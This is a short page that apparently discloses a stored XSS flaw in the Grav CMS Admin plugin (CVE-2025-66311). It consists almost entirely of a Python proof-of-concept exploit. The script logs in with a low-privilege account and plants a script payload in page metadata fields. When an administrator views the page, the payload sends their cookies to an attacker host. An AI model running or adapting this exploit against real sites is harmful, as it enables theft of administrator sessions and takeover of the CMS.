CVE-2025-66311: Grav Admin插件存储型XSS漏洞

import requests import re # CVE-2025-66311 PoC - Stored XSS in Grav Admin Plugin # Target: Grav CMS with admin plugin < 1.11.0-beta.1 TARGET_URL = "http://target.com/grav" LOGIN_URL = f"{TARGET_URL}/admin" PAGE_URL = f"{TARGET_URL}/admin/pages" # Malicious XSS payload XSS_PAYLOAD = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' def exploit(): """Exploit stored XSS in Grav admin plugin""" session = requests.Session() # Step 1: Login with low-privilege account login_data = { 'username': 'attacker', 'password': 'password123' } session.post(LOGIN_URL, data=login_data) # Step 2: Create or edit a page with XSS payload page_data = { 'data[header][metadata][author]': XSS_PAYLOAD, 'data[header][taxonomy][category][]': XSS_PAYLOAD, 'data[header][taxonomy][tag][]': XSS_PAYLOAD, 'data[frontmatter]': '---\ntitle: Test Page\n---\n' } # Send request to inject XSS response = session.post(f"{PAGE_URL}/new-page", data=page_data) print(f"XSS payload injected: {response.status_code}") # Step 3: When admin views the page, XSS executes print(f"Vulnerable page created at: {PAGE_URL}/new-page") print(f"Payload: {XSS_PAYLOAD}") if __name__ == "__main__": exploit()